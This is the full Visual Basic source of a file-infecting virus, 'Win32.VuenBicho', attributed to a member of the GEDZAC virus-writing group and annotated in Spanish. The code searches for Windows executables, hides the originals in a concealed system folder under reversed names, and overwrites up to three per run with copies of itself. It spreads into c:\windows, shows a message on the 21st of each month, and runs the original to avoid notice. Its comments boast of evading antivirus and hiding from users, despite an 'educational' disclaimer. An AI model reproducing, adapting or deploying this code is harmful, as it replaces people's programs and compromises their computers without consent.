Sub Main()
'------------------- CORTAR AQUÍ --------------------------
'NOMBRE       : Win32.VuenBicho (Prototipo)
'AUTOR        : 3Sk0rbut0/GEDZAC
'LUGAR        : ????????, ?????
'FECHA        : ??-??-??

'----------------------------------------------------------
'NOTA   : Esto es un virus escrito en Visual Basic y debo aclarar que no me
'         responsabilizo bajo ningún punto de vista por el mal uso que le
'         puedas dar a este material y también debo aclarar que he escrito
'         este prototipo solo con fines educativos.
'         Este virus es solo un prototipo y no tiene grandes posibilidades
'         de propagación pero esto no quita que sea un espécimen peligroso
'         para quien no sabe lo que hace.
'	  A Continuación veremos su modo de funcionamiento.
'
'FUNCIONAMIENTO:
'Para que este virus funcione con éxito deberá realizar los siguientes pasos
'los cuales especifico de un modo generalizado:
'- Crear un directorio para almacenar los programas originales.
'- Obtener la ruta y el nombre de este programa
'- Verificar si estamos en un directorio raíz porque si es así aprovecharemos
'  de infectar algunos entes del directorio c:\windows\
'- Búsqueda del primer archivo con extensión EXE.
'  ARCHIVO_ENCONTRADO:
'- Abrir el archivo para comprobar si es un archivo de win32, específicamente
'  un Portable ejecutable (PE).
'- Comprobar si está ya suplantado mediante su tamaño
'- Suplantación del/los archivos encontrados:
'     * Mover el archivo original al directorio creado para almacenar los
'       programas originales.
'     * Autocopiar este programa en lugar del archivo original con su nombre.
'     * Incrementar un contador de infecciones (INFECTAREMOS NADA MAS 3
'       EJECUTABLES POR EJECUCION)
'- Búsqueda del siguiente archivo con extensión EXE. (Si se encuentran mas
'  archivos saltar a ARCHIVO_ENCONTRADO).
'- Ejecutar el programa original.
'
'PAYLOAD:
'El payload es bastante simple, consiste en una MessageBox que se mostrará
'los días 21 de cada mes al ejecutar un programa infectado (En este caso
'Suplantado).
'
'OBSERVACION:
' Como consecuencia de la suplantación de un archivo exe cualquiera, este
' se vera carente de su icono original con lo cual los astutos sospecharan
' y los lerdos cooperarán.
' y...... ¿porque los archivos suplantados perderán su icono?
' La respuesta es mas que lógica ¿no? al ser copias de este mismo programa
' las utilizadas para...... bla bla bla
' ...... bueh esta de mas explicar esto, ;).
'
' COMENTARIOS ADICIONALES:
' A este virus le he incorporado un mecanismo para invertir el nombre de los
' archivos originales cuando son copiados en el directorio destinado para su
' almacenamiento, esto lo he hecho con el fin de impedir que por ejemplo,
' cuando el usuario inicie una búsqueda de archivos ejecutables en su HD, se
' tope con dos de ellos que tengan el mismo nombre pero distinta extensión.
' A demás de invertir el nombre de los archivos me preocupé de ocultar el
' directorio donde se copiaran los archivos originales y también los archivos
' originales, todo esto con el fin de que este prototipo pase en lo posible
' inadvertido ante los ojos del usuario, aunque lo del icono nos jode un
' poquito, pero bueno, asi es la vida.
' Está demás decir que este espécimen no es detectado por ningún antivirus
' (POR AHORA)
'
' ATENCION : ¡¡¡¡ SI VAS A MANIPULAR ESTE ESPECIMEN SE LO MAS CUIDADOSO
' POSIBLE !!!! YO NO ME RESPONSABILIZO BAJO NINGUN PUNTO DE VISTA POR LOS
' EFECTOS QUE ESTE PUEDA TENER EN TU MAQUINA, ADEMAS, EL CODIGO ESTA
' BASTANTE COMENTADO PARA COMPRENDERLO.
' TRATÉ DE COMENTAR EL CODIGO LO MAS DETALLADAMENTE POSIBLE Y ESPERO QUE
' LO ENTIENDAN Y QUE LO DISFRUTEN
' ARRIBA EL VIRII KARAJO!
'                                                                                                  (c) 3Sk0rbut0
'--------------------- CORTAR AQUÍ ------------------------------

'********************************
'****    Win32.VuenBicho     ****
'********************************
'---------------------- Definicion de constantes/variables
 Dim Archivo As String
 Dim Exten As String
 Dim ArchDir As String
 Dim MiDirectorio As String
 Dim MiNombre As String
 Dim Yo As String
 Dim Registro As String
 Dim Contenido As String
 Dim InfecCont As Integer
 Dim Caracter As String
 Dim ArchEnt As String
 Dim ArchSal As String
 Dim j As Integer
 Dim k As Integer
 Dim h As Integer
 Dim x As Integer
 Dim p As Integer
 Dim sw As Integer
'------------ Crear directorio para almacenar los archivos originales
 ArchDir = "c:\windows\system\klt0s5k\"  ' El directorio para almacenar los archivos originales
 On Error Resume Next    ' Si el directorio ya existe MkDir dará un error por lo cual saltamos a la siguiente linea de código
    MkDir (ArchDir)      ' Creamos el directorio
'---------------------- ' Ocultar el directorio
    SetAttr (ArchDir), vbHidden ' Ocultar
'---------------------- Obtener la ruta y el nombre de este programa
MiDirectorio = App.Path & "\"    ' MiDirectorio = Directorio actual de este programa
MiNombre = App.EXEName & ".exe"  ' MiNombre = Nombre de este programa
Yo = MiDirectorio & MiNombre     ' Yo = MiDirectorio + MiNombre
'----------------------
If Right(MiDirectorio, 2) = "\\" Then  'Estamos en un directorio raiz?,(A:\,B:\,C:\ y tal) si es así infectemos c:\windows\
    Yo = Left(Yo, 2) & "\" & MiNombre  ' Quitar un \ para que sea una ruta válida
    ChDir$ "c:\windows\" ' cambiar el directorio actual a c:\windows\ para ejecutarnos ahí
    FileCopy Yo, "c:\windows\kpXz4oX.exe" ' Copiarnos a c:\windows
    Shell "c:\windows\kpXz4oX.exe" ' Ejecutar la copia hecha en la linea anterior
  For h = 1 To 1000   ' Generar un retardo para darle tiempo de actuar a la copia antes de ser eliminada
    DoEvents          '
  Next h              '
    Kill "c:\windows\kpXz4oX.exe" ' Eliminar la copia hecha para infectar c:\windows\
    GoTo PayLoad      ' Ir al PayLoad (CARGA)
End If
'----------------------
Exten = "*.exe" ' Extencion de archivos a buscar
Archivo = Dir$(Exten)
'---------------------- FindFirstFile
While Archivo <> ""
If Archivo = MiNombre Then GoTo Siguiente
'--------------------- Abrir el archivo para verificar si es un exe de windows
Open Archivo For Input As #1           ' Abrir el archivo para R
  While Not EOF(1) = True              ' Fin de archivo?
    Line Input #1, Registro            ' Leemos el Registro
     Contenido = Contenido + Registro  ' Lo acumulamos
  Wend
Close #1                       ' Cerramos el archivo
'--------------------- Verificaciones
For j = 1 To Len(Contenido)
  If Mid(Contenido, j, 2) = "MZ" Then     ' Es un exe?
    For k = 1 To (Len(Contenido) - 2)
     If Mid(Contenido, k, 2) = "PE" Then  ' Es un PE ? OJO : Este no es el mejor modo de hacer esto
       If FileLen(Archivo) = 24576 Then GoTo Siguiente ' ¿Nos estamos infectando nosotros mismos? entonces vamos por otro archivo
        '--------------------- SUPLANTACION
        sw = 1 ' Prendemos el switch
        GoSub Invertir        'Llamar a la rutina para invertir el nombre del archivo de destino
        '--------------------- MECANISMO SUPLANTADOR
        FileCopy Archivo, ArchDir & ArchSal & ".kjx" ' Copiar archivo original al directorio con extencion kjx
        SetAttr ArchDir & ArchSal & ".kjx", vbHidden ' Ocultar la copia
        Kill Archivo                        ' Eliminar el archivo original
        FileCopy Yo, Archivo                ' Copiarme en lugar del archivo original
        j = 0                               ' Limpiar Contadores
        k = 0                               '
        '--------------------- Limpiar las variables de la rutina que invierten en el nombre del archivo de destino
        Caracter = ""
        ArchSal = ""
        p = 0
        '---------------------
        InfecCont = InfecCont + 1           ' Incrementar el contador de infecciones
        If InfecCont = 3 Then GoTo PayLoad  ' Llevamos 3 archivos suplantados?, si es así vamos al PayLoad
        GoTo Siguiente                      ' Ir a buscar siguiente archivo
        '---------------------
     End If
    Next k
  Else
    If Mid(Contenido, j, 5) = ".text" Then       ' Por paranoia, si llegamos hasta aqui no vale la pena seguir =P
       GoTo Siguiente                            ' Ir a buscar el siguiente archivo
    End If
  End If
Next j
'---------------------- FindNextFile
Siguiente:
Archivo = Dir$
Wend
'---------------------- CARGA DE ESTE VIRUS (TextBox)
PayLoad:
  If Day(Now) = "21" Then  ' Bueh, si hoy es 21 entonces mostrar mensajito
     MsgBox "Codificado por 3sk0rbut0/GEDZAC (S/C)         ", vbCritical, "Win32.VuenBicho"
  End If
'---------------------- DEVOLVERLE EL CONTROL AL PROGRAMA ORIGINAL
On Error GoTo Terminar ' Si hay error al ejecutar el exe original entonces terminamos
sw = 0  ' Apagamos el switch
GoSub Invertir 'Llamar a la rutina para invertir el nombre del archivo de destino ya que en la carpeta se encuentra ivertido
Shell ArchDir & ArchSal & ".kjx", vbNormalFocus ' Ejecutar el archivo original
'---------------------- Por si el archivo original no está o se le ha cambiado el nombre, entonces terminamos
Terminar:
End
'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ RUTINA INVERSORA DE NOMBRES DE ARCHIVO
Invertir:
 If sw = 1 Then ArchEnt = Mid(Archivo, 1, (Len(Archivo) - 4))   ' Aqui está de más explicar
 If sw = 0 Then ArchEnt = Mid(MiNombre, 1, (Len(MiNombre) - 4)) '
  For p = 1 To Len(ArchEnt)
    Caracter = Mid(ArchEnt, Len(ArchEnt) - p + 1, 1)
    ArchSal = ArchSal & Caracter
  Next p
Return
'@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
End Sub